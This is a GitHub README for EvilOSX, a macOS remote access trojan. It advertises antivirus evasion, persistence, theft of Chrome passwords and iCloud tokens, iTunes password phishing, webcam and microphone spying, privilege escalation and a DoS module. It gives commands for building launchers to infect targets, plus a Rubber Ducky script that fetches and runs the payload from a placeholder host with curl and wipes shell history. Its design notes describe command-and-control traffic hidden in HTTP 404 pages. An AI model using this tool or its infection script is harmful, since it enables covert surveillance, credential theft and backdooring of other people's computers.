

# EvilOSX

github.com/Marten4n6/EvilOSX

Marten4n6

## Marten4n6/EvilOSX



An evil RAT (Remote Administration Tool) for macOS / OS X.

7

Contributors

44

Issues

2k

Stars

471

Forks



An evil RAT (Remote Administration Tool) for macOS / OS X.

license GPLv3 python 2.7, 3.7 issues 44 open build error contributions welcome

Marco Generator by Cedric Owens

**This project is no longer active**

## Features

- Emulate a terminal instance
- Simple extendable module system
- No bot dependencies (pure python)
- Undetected by anti-virus (OpenSSL AES-256 encrypted payloads)
- Persistent
- GUI and CLI support
- Retrieve Chrome passwords
- Retrieve iCloud tokens and contacts
- Retrieve/monitor the clipboard
- Retrieve browser history (Chrome and Safari)
- Phish for iCloud passwords via iTunes

- iTunes (iOS) backup enumeration
- Record the microphone
- Take a desktop screenshot or picture using the webcam
- Attempt to get root via local privilege escalation

## How To Use

---

```
# Clone or download this repository
$ git clone https://github.com/Marten4n6/EvilOSX

# Go into the repository
$ cd EvilOSX

# Install dependencies required by the server
$ sudo pip install -r requirements.txt

# Start the GUI
$ python start.py

# Lastly, run a built launcher on your target(s)
```

**Warning:** Because payloads are created unique to the target system (automatically by the server), the server must be running when any bot connects for the first time.

## Advanced users

---

There's also a CLI for those who want to use this over SSH:

```
# Create a launcher to infect your target(s)
$ python start.py --builder

# Start the CLI
$ python start.py --cli --port 1337

# Lastly, run a built launcher on your target(s)
```

## Screenshots

---

```

EvilOSX v6.2.0 | Port: 1937 | Available bots: 2
[!] Server started, waiting for connections...
[!] Type "help" to show the help menu.
-----
[!] Commands other than the ones listed below will be run on the connected bot as a shell command.
help - Show this help menu.
bots - Show the amount of available bots.
connect <id> - Start interacting with the bot (required before using "use").
modules - Show a list of available modules.
use <module_name> - Run the module on the connected bot.
stop <module_name> - Ask the module to stop executing.
setall <module_name> - Set the module which will be run on every bot.
stopall - Clear the globally set module.
clear - Clear the screen.
exit/q/quit - Close the server and exit.
-----
[!] No page specified, showing the first page.
[!] Use "bots <page>" to see a different page (each page is 10 results).
0 = "bot@botnet" (last seen: Fri, Jul 20 @ 12:43:36)
-----
[!] Connected to "bot@botnet", ready to send commands.
-----
[!] Type "use <module_name>" to use a module.
CVE-2015-5889 - Attempt to get root via CVE-2015-5889 (10.9.5 to 10.10.5).
get_backups - Show a list of devices backed up by iTunes.
get_info - Return basic information about the bot.
icloud_contacts - Retrieve iCloud contacts.
update_bot - Update the bot to the latest (local) version.
chrome_passwords - Retrieve Chrome passwords.
decrypt_mme - Retrieve iCloud and MME authorization tokens.
phish_itunes - Phish the bot for their iCloud password via iTunes.
microphone - Record the microphone.
webcam - Take a picture using the bot's webcam.
slowloris - Perform a slowloris DoS attack.
upload - Upload a file to the bot.
screenshot - Take a screenshot of the bot's screen.
download - Download a file or directory from the bot.
remove_bot - Remove EvilOSX from the bot.
clipboard - Retrieve or monitor the bot's clipboard.
browser_history - Retrieve browser history (Chrome and Safari).

```

Command (bot@botnet, /home/bot/GitHub/EvilOSX/bot):  
use get\_info

Home Control Broadcast Builder

UID	Username	Version	Last Seen
1 626f742d32353131373237373...	bot@botnet		Thu, Jul 19 @ 10:26:06

Execute Responses

Command type:

Module name:

Time in seconds to record (Leave empty for 5):

Remote output directory (Leave empty for /tmp):

Remote output name (Leave empty for <RANDOM>):

---

## Motivation

---

This project was created to be used with my [Rubber Ducky](#), here's the simple script:

```
REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM See also: https://ducktoolkit.com/vidpid/
```

```
DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500
```

```
REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER
```

```
STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw;
clear
ENTER
```

- It takes about 10 seconds to backdoor any unlocked Mac, which is..... *nice*
- Terminal is spelt that way intentionally, on some systems spotlight won't find the terminal otherwise.
- To bypass the keyboard setup assistant make sure you change the VID&PID which can be found [here](#).  
Aluminum Keyboard (ISO) is probably the one you are looking for.

## Versioning

---

EvilOSX will be maintained under the Semantic Versioning guidelines as much as possible. Server and bot releases will be numbered with the follow format:

```
<major>.<minor>.<patch>
```

And constructed with the following guidelines:

- Breaking backward compatibility (with older bots) bumps the major
- New additions without breaking backward compatibility bumps the minor
- Bug fixes and misc changes bump the patch

For more information on SemVer, please visit <https://semver.org/>.

## Design Notes

---

- Infecting a machine is split up into three parts:
  - A **launcher** is run on the target machine whose only goal is to run the stager
  - The stager asks the server for a **loader** which handles how a payload will be loaded
  - The loader is given a uniquely encrypted **payload** and then sent back to the stager
- The server hides it's communications by sending messages hidden in HTTP 404 error pages (from BlackHat's "Hiding In Plain Sight")
  - Command requests are retrieved from the server via a GET request
  - Command responses are sent to the server via a POST request
- Modules take advantage of python's dynamic nature, they are simply sent over the network compressed with zlib, along with any configuration options
- Since the bot only communicates with the server and never the other way around, the server has no way of knowing when a bot goes offline

## Issues

---

Feel free to submit any issues or feature requests [here](#).

## Contributing

---

For a simple guide on how to create modules click [here](#).

## Credits

---

- The awesome [Empire](#) project
- Shoutout to [Patrick Wardle](#) for his awesome talks, check out [Objective-See](#)
- [manwhoami](#) for his projects: OSXChromeDecrypt, MMeTokenDecrypt, iCloudContacts (now deleted... let me know if you reappear)
- The slowloris module is pretty much copied from [PySlowLoris](#)
- [urwid](#) and [this code](#) which saved me a lot of time with the CLI
- Logo created by [motusora](#)

## License

---

[GPLv3](#)